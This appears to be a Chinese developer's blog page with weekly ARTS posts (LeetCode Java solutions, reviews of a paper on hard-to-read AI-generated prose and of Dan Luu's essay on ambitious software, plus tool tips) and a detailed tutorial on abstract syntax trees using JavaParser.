文章
快来分享你的内容吧~
- 6 天前·@编程小助手 微信: leikooo_每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。查看全文加油鸭:ARTS打卡太扎实了!算法思路清晰、论文解读深刻、技巧实用、分享有洞见——坚持输出就是最硬核的成长!531分享
- 10-20 15:05·@编程小助手 微信: leikooo_AST(Abstract Syntax Tree,抽象语法树)把代码中的变量声明、运算、方法调用和条件分支表示成节点,用节点之间的关系记录它们怎样组成程序。编译器、静态检查器和重构工具都可以在这套结构上工作。 比如,要把方法名 改成 ,搜索替换能找到所有同名文字,但下面这段方法体片段中的三处需要分别判断: 第一处是字符串内容,后两处是方法调用:一个写出了接收者 ,另一个没有显式接收者。语法树会记录查看全文加油鸭:这篇关于AST的深度解析太棒了!逻辑清晰、示例扎实、图示精准,把抽象概念讲得既专业又易懂,是难得的优质技术分享!532分享
- 10-18 16:33·@编程小助手 微信: leikooo_每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS) Algorithm LeetCode https://leetcode.cn/problems/valid-anagram/description/?envType查看全文加油鸭:ARTS 打卡太扎实了!算法、阅读、技巧、分享四维并进,既有深度思考又有实践洞见,这种持续沉淀的方式真让人佩服~451分享
- 10-14 17:20·@编程小助手 微信: leikooo_原文:Your Game Is A Harness 作者:Kyle Kukshtel(独立游戏《Cantata》制作人、Depot 游戏数据编辑器作者、15 年资深游戏工程师) 出处:2026 年 9 月 12 日卡尔加里 Indie Rodeo 演讲《Your Game Is A Harness》文字整理版查看全文加油鸭:太震撼了!把游戏本身打造成AI可理解、可操作的Harness,这种架构思维既有深度又极具实操性,为AI赋能游戏开发开辟了全新路径!1047分享
- 10-12 17:00·@编程小助手 微信: leikooo_
- 10-08 15:21·@编程小助手 微信: leikooo_
- 10-03 11:36·@编程小助手 微信: leikooo_
- 09-28 09:36·@编程小助手 微信: leikooo_
- 09-14 21:40·@编程小助手 微信: leikooo_每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS) Algorithm https://leetcode.cn/problems/implement-queue-using-stacks/description/?e查看全文加油鸭:ARTS 坚持得真棒!算法思路清晰、Review 有深度、Tips 实用、Share 的思考更是直击本质——这份系统性成长太值得点赞!832分享
ARTS 1025: 唯一字符与同构字符串、省词可能增加阅读负担与重新估算软件的实现成本
每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS) ## Algorithm 这周因为都是简单难度的,所以来写两道算法题目: 1)第一道:LeetCode [387. 字符串中的第一个唯一字符](https://leetcode.cn/problems/first-unique-character-in-a-string/)  这道题目住要的办法就是,先用 Map 拿到每一个 Charecter 出现的次数,然后根据 map 记录的内容进行返回 index。这有一点需要注意:HashMap 不保证元素的遍历顺序与插入顺序一致。如果需要按照插入顺序遍历元素,可以使用 LinkedHashMap ```java class Solution { public int firstUniqChar(String s) { Map<Character, Integer> map = new HashMap<>(); char[] chars = s.toCharArray(); for (char c : chars) { map.merge(c, 1, Integer::sum); } for (int i = 0; i < chars.length; i++) { if (map.getOrDefault(chars[i], null) == null || map.get(chars[i]) > 1) { continue; } return i; } return -1; } } ``` 2)第二道:LeetCode [205. 同构字符串](https://leetcode.cn/problems/isomorphic-strings/)  有几点需要注意: + 错误把“出现次数相同”当成了“同构”。不能只是单纯的判断,字母出现的数量进行对比。 + 只检查了映射的一致性,漏掉了映射的唯一性。如果一个 a -> b a -> a 这样也不是同构的,所以这里我们使用 Set 进行判断。 ```java class Solution { public boolean isIsomorphic(String s, String t) { if (s.length() != t.length()) { return false; } Map<Character, Character> charMap = new HashMap<>(); Set<Character> usedTargets = new HashSet<>(); for (int i = 0; i < s.length(); i++) { char sC = s.charAt(i); char tC = t.charAt(i); Character mapped = charMap.get(sC); if (mapped == null) { // tC 已经被其他字符使用,不能重复映射 if (!usedTargets.add(tC)) { return false; } charMap.put(sC, tC); } else if (mapped != tC) { return false; } } return true; } } ``` ## Review 论文:[Why is AI-generated language so hard to understand?](https://arxiv.org/html/2610.29162v1) 作者提出一个假说:训练中压缩信息的压力,可能让模型更偏爱紧凑、省词的表达。这些表达在语法上说得通,却可能让读者花更多精力判断词义、记住前文、补出句子里的关系。 1、阅读时,读者需要不断预测后文、记住前文。 看到一个词时,读者已经在结合上下文判断它的意思。论文引用的心理语言学研究发现,越难预测的词,通常需要越长的阅读时间。词语搭配不常见,读者就更难顺着前文理解下去。 记忆也会影响阅读。如果主语和对应的动词隔得很远,读到动词时,就得找回前面的主语,再把两者联系起来。相互关联的词之间隔了多远,称为「依存距离」。一句话里需要暂时记住的信息越多,理解起来就越费力。所以,判断句子是否好读,不能只看字数,还要看读到哪里才能确定它在说什么。 2、论文检查了六类可能增加阅读负担的表达。 下面结合例子说明,其中的中文例子是为帮助理解补充的。 罕见的词语搭配,可能让人每个词都认识,连起来却不熟悉。例如,论文开头的 `reader-patience budget`,字面上是「读者耐心预算」。读者需要先理解这里把耐心比作一种会被消耗的预算,才能明白整个词组。写成「读者愿意花多少耐心读下去」,含义就直接一些。 长距离依存,会让读者更久地记住还没读完整的内容。例如,「负责处理缓存失效后大量请求同时访问数据库问题的服务需要重启」,读到「服务」时,才知道前面一大段都在修饰它,接着还得把它和「需要重启」联系起来。可以拆成:「这个服务负责处理缓存失效后大量请求同时访问数据库的问题。现在需要重启它。」先交代服务的用途,再说要做什么,读者就不用把整串修饰语一直记到句尾。 宾语关系从句中的省略,可能让句子少一些结构提示。例如,`The patch the engineer reviewed failed.` 的意思是「工程师审查过的补丁失败了」。句子的主干是 `The patch failed.`,中间的从句说明补丁被谁审查过,`the patch` 是 `reviewed` 的宾语。写成 `The patch that the engineer reviewed failed.`,多出的 `that` 标出了从句的开始。省去它也符合语法,但读者需要更依赖后文来判断结构。相关研究发现,人类会根据后续内容是否容易预测,决定要不要省略这类词。 名词堆叠,会省去概念之间的关系。例如,「缓存失效回源并发保护策略」把几个概念连在一起,读者需要自己判断哪些是条件、动作和目的。可以展开成:「缓存失效后,请求会访问数据库。为避免大量请求同时回源,可以限制同时回源的请求数。」多出来的文字,把原来需要读者推断的关系写了出来。 名词转动词,也能把原本需要几个词说明的动作缩短。例如,把表示日历的 `calendar` 当作动词,就可以表达「把某件事记入日历」。这类用法依赖说话者和读者对情境的共同理解。如果上下文不够充分,读者就得先猜这个词在当前句子里指什么动作。 还有一类是让没有生命的事物去做通常由人或动物完成的动作。例如,论文中的 `this asymmetry bites`,需要把「咬」理解成「造成问题」。在技术说明中,仅写「这个不对称性会反咬一口」,读者还得继续追问它具体影响什么。直接说明它会导致什么错误,更方便判断影响范围。名词转动词和拟人表达都可以正常使用,是否难读,还取决于读者对这种用法的熟悉程度,以及上下文是否充分。 3、训练目标可能强化了这些表达偏好。 作者推测,数学、代码等后训练任务可以奖励答案正确,却未必奖励读者是否容易理解。再加上上下文长度和 token 成本的限制,模型可能逐渐偏向用更少的词表达更多信息。 放到文档里看,省掉连接词、把动作写成名词、把背景放进一长串修饰语,确实可能缩短输出。但条件和因果关系不会因此消失,它们只是需要读者自己还原。对模型来说省下了词,对读者来说却可能多了一步推断。 人类的表达会随语境调整:容易预测的内容可以省略,新信息多的地方则需要更多提示。前面是否保留 `that` 的例子,就说明了这种取舍。**省略是否合适,要看读者能不能顺着上下文理解下去。** 对我们的启发就是,在写技术笔记时,可以留意那些需要读者自己补全的地方:主语是否明确,修饰语能否拆开,几个名词之间是什么关系,隐喻具体指什么行为和结果。让 AI 润色时,也可以要求保留条件和因果关系,再根据读者已有的知识,决定哪些内容可以省略。 ## Tips 1、macOS 使用 FineTune 可以管理不同软件得声音,非常实用。开源地址: https://github.com/ronitsingh10/FineTune 2、epub 阅读器,可以使用这个开源项目:https://github.com/readest/readest 3、继续学习 Rust 相关的内容,学到 [ Lifetimes](https://doc.rust-lang.org/book/ch10-03-lifetime-syntax.html#validating-references-with-lifetimes) 了,继续冲 ## Share 文章:[We should be more ambitious with the software we build](https://danluu.com/ambitious/) Dan Luu 提出了一个值得重新考虑的问题:有了 AI 编程工具之后,哪些过去因为成本太高而放弃的事情,现在已经值得做了?他更倾向于说「可以更有野心」,因为工具能力的变化,让开发者有机会尝试以前做不起的软件。 1、判断一个项目值不值得做,需要重新估算实现成本。 过去,嫌编译慢就自己改编译器,嫌搜索慢就自己写正则引擎,通常意味着投入大量时间,还可能耽误原本要完成的工作。因此,优先使用现成工具、避免重复造轮子,是很合理的选择。 但 Dan Luu 发现,有些判断已经需要更新。他针对自己的使用场景,尝试了正则引擎、ripgrep 分支和 Rust 编译加速等项目,投入的个人时间比过去少了很多。开发者可能还沿用着没有编程 Agent 时的成本估计,连试一下都觉得不划算。 这里也要保留作者给出的范围:这些工具主要达到了「自己能用」的程度,做成可靠的公共项目仍然需要更多工作,文中也没有提供完整、严谨的性能评测。这些经历更适合用来说明尝试的成本发生了变化,具体收益还要在实际场景中测量。 2、值得尝试的软件,也可以只解决一个很小的需求。 文章中有个例子很有意思:Dan Luu 一直想玩一款还原小说中太空战斗方式的游戏,但这种玩法很小众。过去,花十几个小时开发,再玩一两个小时,并不划算;当他只需要花几分钟安排 Agent 实现时,这件事就值得做了。 这种变化也适用于日常工具。比如,一个脚本只能省下每次几分钟的手动操作,过去因为开发和维护太麻烦,一直没有人写。现在可以先做一个范围很小的版本,用几次看看是否方便,再决定要不要继续完善。软件只供几个人使用,也可能有足够的价值。 3、项目能做得更大,验证也得跟得上。 Dan Luu 用 pgrust 数据库项目说明,有质量问题的 AI 项目很多,但认真测试的项目仍然能产生价值。按他的介绍,pgrust 的测试过程甚至找出了 PostgreSQL 本身的 Bug,即使这个项目最终没有成功,这些发现也能帮助已有软件改进。 不过,作者并没有得出「软件开发已经解决了」的结论。他发现,模型能实现的东西越来越多,但在缺少人工指导时,能够有效验证的范围没有同步跟上。尝试更复杂的项目之后,人仍然需要判断实现是否符合预期。
AST:从 Java 代码理解抽象语法树
AST(Abstract Syntax Tree,抽象语法树)把代码中的变量声明、运算、方法调用和条件分支表示成节点,用节点之间的关系记录它们怎样组成程序。编译器、静态检查器和重构工具都可以在这套结构上工作。 比如,要把方法名 `sendMail` 改成 `enqueueMail`,搜索替换能找到所有同名文字,但下面这段方法体片段中的三处需要分别判断: ```java String message = "sendMail"; client.sendMail(user); sendMail(user); ``` 第一处是字符串内容,后两处是方法调用:一个写出了接收者 `client`,另一个没有显式接收者。语法树会记录这些区别。要确认哪一处调用需要改名,还得通过符号和类型解析,找到它对应的方法声明。 下面用 Java 展开介绍,节点命名和可运行示例采用 JavaParser。 ## 从一行声明看 AST 先看一个 Java 局部变量声明: ```java int total = price + count * 2; ``` 虽然 `+` 先出现在文本里,`count * 2` 却是加法的右操作数。这个分组关系在简化的 AST 中是这样的: ```mermaid flowchart TD A["VariableDeclarator:变量声明项"] -->|type| TY["PrimitiveType:int"] A -->|name| T["SimpleName:total"] A -->|initializer| P["BinaryExpr:加法"] P -->|left| X["NameExpr:price"] P -->|right| M["BinaryExpr:乘法"] M -->|left| C["NameExpr:count"] M -->|right| N["IntegerLiteralExpr:2"] ``` 图中省略了类、方法和语句等外层结构,以及源码位置信息。运算符被合并进运算节点的标签;在 JavaParser 中,它们由 `BinaryExpr.Operator` 枚举表示。 `VariableDeclarator` 记录声明的类型、名字和初始化表达式。加法和乘法节点都有 `left`、`right` 两个操作数字段。`price`、`count` 是名字表达式,`2` 是整数字面量。声明里的 `total` 则由 `SimpleName` 保存,和表达式中对名字的使用有所区别。 左右子节点的位置决定了操作数顺序,把乘法子树移到别处则会改变分组。分析和改写代码时,需要遵守这些字段的约定。 可以直接使用 JavaParser 观察这些对象。下面两个完整示例使用 JDK 17 及以上版本和 JavaParser 3.28.2。在 Maven 项目的 `<dependencies>` 中加入: ```xml <dependency> <groupId>com.github.javaparser</groupId> <artifactId>javaparser-core</artifactId> <version>3.28.2</version> </dependency> ``` `javaparser-core` 负责解析源码、遍历和修改语法树。[JavaParser 项目说明](https://github.com/javaparser/javaparser)。 第一个示例只解析声明右侧的表达式,保存为 `InspectAst.java`: ```java import com.github.javaparser.StaticJavaParser; import com.github.javaparser.ast.expr.BinaryExpr; public class InspectAst { public static void main(String[] args) { BinaryExpr expression = StaticJavaParser .parseExpression("price + count * 2") .asBinaryExpr(); System.out.println(expression.getClass().getSimpleName()); System.out.println(expression.getOperator().name()); System.out.println(expression.getLeft()); System.out.println(expression.getRight() .asBinaryExpr().getOperator().name()); } } ``` 输出依次是 `BinaryExpr`、`PLUS`、`price`、`MULTIPLY`。 这一步只构建表达式节点,所以 `price` 和 `count` 即使尚未声明,也能被解析。它们是否已定义、这段表达式在当前 Java 类中是否合法,要在后续结合上下文检查。 ## 从字符到语法树 从源码到 AST,通常要经过词法分析和语法分析。 词法分析先把字符识别成 Token,也就是有类别的词法单元。上面那行代码的主要 Token 可以写成: ```text KEYWORD(int) NAME(total) OP(=) NAME(price) OP(+) NAME(count) OP(*) INTEGER_LITERAL(2) SEMICOLON(;) ``` 这些标签用于示意,不对应某个解析器的完整 Token 定义。Token 列出了名字、数字和运算符,还没有表达它们之间的操作数关系。 语法分析器接着依据语言的语法规则组织这些 Token,构建赋值、运算、调用等节点。运算符优先级和结合性会在这个过程中影响树的形状。 例如,一个简化的算术语法可以写成: ```text expression := term (("+" | "-") term)* term := primary (("*" | "/") primary)* primary := NUMBER | NAME | "(" expression ")" ``` `expression` 处理加减,`term` 处理乘除,`primary` 处理数字、名字和括号中的表达式。解析 `price + count * 2` 时,右侧的 `term` 会先把 `count * 2` 组织成一个整体,再作为加法的右子树。 遇到括号时,解析器会递归解析其中的表达式,这样就能逐层处理嵌套。LLVM 的教学语言 Kaleidoscope 就结合了递归下降和运算符优先级解析来构建 AST,具体过程见 [LLVM 的解析器教程](https://llvm.org/docs/tutorial/MyFirstLanguageFrontend/LangImpl02.html)。 结合性也会影响树的形状。Java 中的 `a - b - c` 对应 `(a - b) - c`,这个分组会在解析时确定下来。 有些解析器直接构建 AST,有些先生成解析树或具体语法树,再做转换。生成完整的具体语法树,并不是构建 AST 的必经步骤。 ## 「抽象」抽掉了什么? AST 通常会省略后续分析用不到的书写细节,保留它们表达的语法关系。`price + count * 2` 中的优先级,已经落实为乘法子树与加法节点的父子关系。 如果改成 `(price + count) * 2`,树就会变化:根部变成乘法,加法成为它的左子树。括号字符可以不保留,但括号对结构造成的影响必须保留。 这种省略发生在识别语法之后。Java 的分号、大括号和括号会影响语句如何结束、代码块的范围,以及表达式怎样分组。解析器先根据这些符号确定结构,再用节点和字段保存结果。 AST 的「抽象程度」没有统一标准。JavaParser 会用 `EnclosedExpr` 保留显式括号,javac 的公开 Tree API 也提供了 `ParenthesizedTree`。所以 `price + count * 2` 和 `price + (count * 2)` 虽然运算分组相同,在这些树中却可以有不同结构。[JDK 的 AST 接口定义](https://docs.oracle.com/en/java/javase/21/docs/api/jdk.compiler/com/sun/source/tree/package-summary.html)。 要尽量原样保留空白和注释,可以考虑具体语法树 CST 或其他无损语法表示,也可以把 AST 与原始 Token、文本范围结合起来。JavaParser 的 `LexicalPreservingPrinter` 会随树的修改调整词法布局,尽量保留原来的排版。[JavaParser 的打印方式说明](https://javaparser.org/making-strings-in-javaparser/)。 不同工具也有各自的 AST 格式。JavaParser 的 `BinaryExpr` 和 javac 的 `BinaryTree` 都能表示二元表达式,但节点接口、子字段和附加信息不同。接入工具时,需要确认这些约定是否兼容。 这些表示关注的问题不同: | 表示 | 主要关注的问题 | | ----------------------- | ------------------------------------------------ | | 源码文本 | 原文写了哪些字符? | | Token 序列 | 字符组成了哪些词法单元? | | CST/具体语法树 | 代码按具体语法怎样组成?保留哪些细节取决于实现。 | | AST/抽象语法树 | 有哪些语法构造?它们怎样嵌套和组合? | | CFG/控制流图 | 执行可能沿哪些路径前进、分支或循环? | | 面向优化或代码生成的 IR | 如何用适合后续处理的操作和关系表示程序? | IR 泛指「中间表示」,AST 本身也可以看作一种高层 IR。编译器常把它继续转换成更适合后续分析、优化或代码生成的表示。 ## 名字、绑定和类型 `NameExpr` 记录了 `price` 这个名字。要知道它引用哪个声明、是什么类型、使用前是否已经赋值,还需要名称解析、类型分析或数据流分析。 先看一个同名变量的例子: ```java class Pricing { double discount = 0.8; double discountedPrice(double price, double discount) { return price * discount; } double defaultDiscount() { return discount; } } ``` 假设要把字段 `discount` 重命名为 `defaultRate`。`discountedPrice` 的同名参数不应跟着改名,`defaultDiscount` 中对字段的引用则应当修改。 AST 会记录这些名字的位置,以及它们与类、方法和参数声明的嵌套关系。工具还要按照 Java 的作用域规则建立符号表,把引用关联到对应的声明,这种关联通常称为绑定。重命名应针对某个绑定,修改属于它的声明和引用;只比较名字节点里的字符串,仍可能误改同名变量。 Java 的加号可以用于数值相加,也可以用于字符串拼接;`int` 和 `long` 参与运算时还涉及数值提升。解析出 `left + right` 之后,要判断运算是否合法、结果是什么类型,就得继续分析操作数。 在 javac 中,`JavacTask.parse()` 提供语法树,`analyze()` 完成分析。之后可以通过 `Trees.getElement(...)` 查询节点对应的声明元素,通过 `getTypeMirror(...)` 查询类型信息。[JavacTask 文档](https://docs.oracle.com/en/java/javase/21/docs/api/jdk.compiler/com/sun/source/util/JavacTask.html)、[Trees 文档](https://docs.oracle.com/en/java/javase/21/docs/api/jdk.compiler/com/sun/source/util/Trees.html)。 JavaParser 也区分源码解析和符号求解。本文使用的 `javaparser-core` 负责解析和操作树;要解析声明和类型,可以配置 JavaSymbolSolver,并提供所需的源码与依赖信息。[JavaParser 对符号求解器的说明](https://github.com/javaparser/javaparser#setup)。 一些编译器会把名称解析结果和类型信息附加到 AST 上,形成带语义信息的 AST;另一些会把这些结果放进单独的表或中间表示里。此时,除了语法树的父子关系,还会出现指向声明、类型等对象的关联。 `BinaryExpr` 这样的类名表示语法节点种类,表达式值的 `int`、`String` 则是另一层类型。声明节点中保存了 `int` 这种类型写法,也不代表整个程序已经通过类型检查。 ## 遍历与改写 遍历 AST 时,可以按节点种类处理:访问方法节点,收集声明;访问调用节点,检查调用形式;访问名字节点,记录引用。许多工具使用 Visitor,也就是访问者,把这些逻辑写在不同的访问方法里。 分析词法作用域时,可以在进入作用域时建立环境,离开时恢复环境;简化算术表达式时,通常要先处理子表达式,再处理父表达式。这后一种顺序叫后序遍历。 遍历树的顺序也要与程序的执行路径区分开。静态分析可能会访问一个 `if` 的两个分支,而某次实际运行只会进入其中一个分支。 下面写一个完整的小变换:把指定范围内的整数常量加法和乘法,折叠为一个常量。使用前面相同的 JavaParser 依赖,保存为 `FoldConstants.java`: ```java import com.github.javaparser.StaticJavaParser; import com.github.javaparser.ast.expr.BinaryExpr; import com.github.javaparser.ast.expr.Expression; import com.github.javaparser.ast.expr.IntegerLiteralExpr; import com.github.javaparser.ast.visitor.ModifierVisitor; import com.github.javaparser.ast.visitor.Visitable; public class FoldConstants extends ModifierVisitor<Void> { @Override public Visitable visit(BinaryExpr node, Void arg) { super.visit(node, arg); // 先处理左右子树 BinaryExpr.Operator op = node.getOperator(); if (op != BinaryExpr.Operator.PLUS && op != BinaryExpr.Operator.MULTIPLY) { return node; } Integer left = decimalInt(node.getLeft()); Integer right = decimalInt(node.getRight()); if (left == null || right == null) { return node; } long value = op == BinaryExpr.Operator.PLUS ? (long) left + right : (long) left * right; if (value > Integer.MAX_VALUE) { return node; } return new IntegerLiteralExpr(Long.toString(value)); } private static Integer decimalInt(Expression expression) { if (!expression.isIntegerLiteralExpr()) { return null; } String text = expression.asIntegerLiteralExpr().getValue(); if (!text.matches("0|[1-9][0-9]*")) { return null; } try { return Integer.valueOf(text); } catch (NumberFormatException ignored) { return null; } } public static void main(String[] args) { Expression expression = StaticJavaParser .parseExpression("2 + 3 * 4"); Expression folded = (Expression) expression.accept( new FoldConstants(), null); System.out.println(folded); } } ``` 输出是: ```text 14 ``` `super.visit(node, arg)` 先处理子节点,因此内层的 `3 * 4` 会先变成 `12`,然后外层的 `2 + 12` 才变成 `14`。`ModifierVisitor` 使用访问方法的返回值替换对应节点;返回原节点,就保留当前结构。[参见 JavaParser 的 ModifierVisitor 实现](https://github.com/javaparser/javaparser/blob/master/javaparser-core/src/main/java/com/github/javaparser/ast/visitor/ModifierVisitor.java)。 这里特意只识别不带前导零的非负十进制 `int` 字面量,并要求结果仍在非负 `int` 范围内。遇到十六进制、八进制、带下划线的字面量,或者 `long`、浮点数、负数及溢出情况时,对应的运算节点不会被折叠;它的子表达式仍可能先被简化。像 `010` 这样的 Java 字面量采用八进制,不能直接按十进制读取。 Java 的整数加乘法有明确的溢出规则。示例用 `long` 暂存两个非负 `int` 的计算结果,再检查范围,避免把数学整数运算的结果错误地写回 Java 表达式。[乘法规则](https://docs.oracle.com/javase/specs/jls/se21/html/jls-15.html#jls-15.17.1)、[加法规则](https://docs.oracle.com/javase/specs/jls/se21/html/jls-15.html#jls-15.18.2)。 这段变换只识别两种节点组合,然后用新的常量节点替换它们。它不需要进行符号求解,也不需要执行整个输入程序。 为什么不顺手把所有 `0 * expression` 都替换成 `0`?看看这个方法体片段,其中 `getValue()` 返回 `int`: ```java int result = 0 * getValue(); ``` `getValue()` 仍然会被调用,它可能产生输出,也可能抛出异常。直接把整个表达式改成 `0`,会连这次调用一起删掉,改变程序行为。 实际优化器还要把常量大小、计算成本和其他语言语义纳入变换规则。 ## 哪些场景值得使用 AST? ### 编译器与解释器 Java 中的类、方法、变量声明、表达式和控制结构,在 AST 中都有对应的节点。编译器的名称解析和类型检查可以从这些节点出发。 之后,编译器可以把 AST 转换成其他表示,再生成目标代码。以 Java 为例,`javac` 会把 `.java` 源文件编译成 `.class` 文件中的字节码,随后由 JVM 解释或编译执行。[参见 javac 命令文档](https://docs.oracle.com/en/java/javase/21/docs/specs/man/javac.html)。 如果你用 Java 编写一个小型表达式解释器,也可以直接递归求值:遇到常量就返回常量值,遇到运算节点就按语言规则计算操作数,遇到名字就查找运行环境。使用 AST 并不要求采用某一种执行方式。 ### 静态检查与代码规范 限制某种语法或调用形式的检查规则,可以直接读取 AST。 例如,在 JavaParser 中,可以寻找 `MethodCallExpr`,读取方法名、接收者和实参列表,再检查调用形式是否符合要求。无论调用写成一行还是多行,参数里是否又有嵌套调用,规则都可以读取相同的节点字段。 规则也可以访问 `CatchClause`,检查捕获异常后是否什么都没做;或者访问方法声明,检查相应的语法约定。 要检查「字段有没有使用」「调用是否关联到某个类的方法」,还得结合绑定、类型和依赖信息。要判断某条路径是否忘记关闭资源,则需要分析执行路径。 ### 自动化重构与 API 迁移 假设要把一千个文件里的旧 API 调用迁移到新 API,改动可能涉及调整参数顺序、把多个参数封装进请求对象,或者只修改某个库中特定方法的调用。这些改动都可以从调用节点着手:先识别目标调用,确认其绑定,再构造新节点。 例如,把 `client.send(user, message)` 改成 `client.send(new MailRequest(user, message))` 时,工具可以构造一个对象创建节点,将原来的两个实参作为它的子节点,再把新对象作为调用实参。原有实参本身仍然是完整的子树,里面即使包含方法调用、条件表达式或多层括号,也不需要重新靠字符串寻找参数边界。 这类源码变换常称为 codemod。工程上的难点除了匹配目标,还包括注释如何保留、修改范围如何控制,以及生成代码后怎样验证行为。对于需要保留原有排版的迁移,可以选用无损语法树,或者结合节点位置做局部文本修改。 ### 代码生成与格式化 从树生成源码时,需要根据节点结构添加必要的括号、输出实参列表,并安排缩进。 例如,乘法节点的左操作数如果是加法表达式,输出时就需要加括号。否则,原本表示 `(a + b) * c` 的树,可能被错误地打印成 `a + b * c`。 构造 JavaParser 的新树时,可以用 `EnclosedExpr` 表达必要的显式括号,再通过 `toString()` 生成源码文本。要尽量保留原始排版,可以结合 `LexicalPreservingPrinter`。[JavaParser 的打印方式说明](https://javaparser.org/making-strings-in-javaparser/)。 专门的格式化工具还会考虑缩进、行宽和断行。Java 生态中的 google-java-format 就利用 `javac` 解析源码,再按格式规则输出。[google-java-format 的项目说明](https://github.com/google/google-java-format)。 重新生成源码时,空白、注释和字面量的原始写法都可能变化。选择工具时,要区分「重新排版」和「尽量保留原文」这两种需求。 ### 表达式、查询与文档工具 规则表达式、查询语句和文档,也可以解析成 AST。 假设业务规则采用类似 Java 的表达式 `amount > 100 && level >= 3`,解析器可以构建比较和逻辑运算节点。规则引擎随后根据这些节点求值,或者把它们转换成另一种规则表示。引擎还需要规定哪些节点允许执行,以及每类节点怎样求值。 SQL 工具可以利用语法结构识别表、查询条件和表达式,再继续做名称解析、校验或转换。数据库优化器通常还会把查询转换成逻辑计划、物理计划等表示,语法树只是处理过程的一部分。 Markdown 文档也可以形成 AST。目录生成器可以读取标题节点,链接检查器可以读取链接节点,转换器可以把段落、列表和代码块映射成 HTML。mdast 就定义了这类 Markdown 节点,其中标题节点具有 `depth` 字段,代码块与普通段落也有各自的结构。[参见 mdast 规范](https://github.com/syntax-tree/mdast)。 ## 为什么还需要控制流分析? 判断变量使用前是否赋值,需要知道执行经过了哪些语句。看看这段 Java 方法: ```java static int choosePrice(boolean flag) { int value; if (flag) { value = 10; } return value; } ``` JavaParser 能解析这段代码:方法体包含局部变量声明、`IfStmt` 和 `ReturnStmt`,赋值语句位于 `IfStmt` 的分支里。 但要判断 `return value;` 是否总能读取到已赋值的局部变量,不能只确认树中存在一条赋值语句。还得检查执行能否绕过它。 下面是这个方法的控制流示意: ```mermaid flowchart TD E["方法入口:声明 value"] --> Q{"flag"} Q -->|True| A["value = 10"] Q -->|False| R["return value"] A --> R R --> X["方法出口"] ``` `flag` 为假时,控制流可以直接到达返回语句,而 `value` 尚未赋值。因此,这段 Java 代码无法通过确定赋值检查,`javac` 会在编译时报错。[参见 Java 语言规范的确定赋值规则](https://docs.oracle.com/javase/specs/jls/se21/html/jls-16.html)。 控制流图 CFG 通过边显式表示这些可能的执行转移。实际的 CFG 常以基本块组织语句;上图为了便于说明,只画出了主要操作。 有了 CFG,分析器可以沿边传播「哪些变量确定已赋值」等状态,在分支合流处合并信息。循环又会带来回边:本轮末尾的状态可能影响下一轮开头,因此常需要反复传播,直到分析结果稳定。Clang 的数据流分析介绍对这一过程给出了具体解释。[参见 Clang 的数据流分析文档](https://clang.llvm.org/docs/DataFlowAnalysisIntro.html)。 在 Java 工具中,分析资源是否在所有相关路径上关闭、锁是否可能遗漏释放,也有类似需求:需要跟踪操作发生的条件,以及分支与循环对状态的影响。 工具可以直接沿 AST 做结构化分析,也可以先构建 CFG,再开展数据流分析。 ## 为什么值得付出解析成本? 解析源码、构建和维护节点,都要花时间和内存。对于依赖程序结构的任务,这些成本通常能换来更直接的规则写法。 增加调用实参,可以操作节点列表;收集方法声明,可以访问一类节点。规则不必反复排除字符串里恰好出现的同名文字,也不必自己寻找每一层括号的边界。 空白、换行、运算符优先级、嵌套表达式等语法细节,由解析器集中处理。后续规则可以共享解析结果,不必各写一套识别逻辑,以免同一段代码在不同规则里被理解成不同结构。 同一棵树还可以供多个工具使用:检查器读取节点,重构工具修改节点,代码生成器输出源码,编辑器则可以结合源码位置展示诊断。各项任务仍要处理自己的语义要求,但语法结构可以复用。 这不意味着 AST 在任何情况下都更快。替换一个约定明确的固定标记,直接处理文本通常更省事。对大量文件做多轮语义分析时,还要考虑解析开销、内存占用、缓存和增量更新。 可以根据问题需要的信息来选择起点: | 具体任务 | 通常需要的表示或信息 | | ---------------------------------------------- | ------------------------------------------ | | 替换固定的配置占位符 | 文本处理即可 | | 查找某种调用形式、调整实参结构 | AST | | 重命名一个变量及其引用 | AST,加上作用域和绑定信息 | | 原样保留排版,只做少量语法修改 | 无损 CST,或结合 Token、源码范围的修改机制 | | 判断变量是否在所有路径上已赋值 | 控制流与数据流分析,可基于 AST 或 CFG 实现 | | 判断调用关联到哪个重载、表达式是否满足类型约束 | 符号与类型分析 | 做一次具体的改造时,可以先选几段真实代码,观察解析结果,再确定目标节点、需要补充的语义信息,以及哪些写法应该保持原样。
ARTS 1018: 字符计数判断异位词、局部做对仍会增加维护负担与用 AI 也要理解自己在做什么
每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS) ## Algorithm LeetCode https://leetcode.cn/problems/valid-anagram/description/?envType=study-plan-v2&envId=selected-coding-interview  这道题目相对简单一些: 1、可以通过转化成 map,对应的 map 对应的 char 出现了几次。这样方便比较某一个字母出现的次数 2、在设置值的时候可以用 Map 的 merge 方法,这个第三个参数 (t,u) ,这个 t 是 map 里面原来的值,这个 u 是 merge 方法后第二个参数的值。 ```java class Solution { public boolean isAnagram(String s, String t) { HashMap<Character, Integer> sMap = toMap(s); HashMap<Character, Integer> tMap = toMap(t); if (sMap.size() != tMap.size()) { return false; } for (Map.Entry<Character, Integer> entry : sMap.entrySet()) { Character key = entry.getKey(); if (!Objects.equals(tMap.get(key), entry.getValue())) { return false; } } return true; } private HashMap<Character, Integer> toMap(String s) { HashMap<Character, Integer> map = new HashMap<>(); for (Character c : s.toCharArray()) { map.merge(c, 1, (t, u) -> t + 1); } return map; } } ``` ## Review 文章:[How the Claude Code team does code review](https://claude.dev/blog/solving-code-review-at-anthropic/) Anthropic 分享了 Claude Code 团队的代码审查流程。随着 AI 生成的代码越来越多,人工逐行审查开始跟不上。他们把更多常规检查交给 AI,同时关注回滚和事故有没有增加:**如果省下来的审查时间,最后都花在了修 Bug 上,那就没有真正提高效率。** 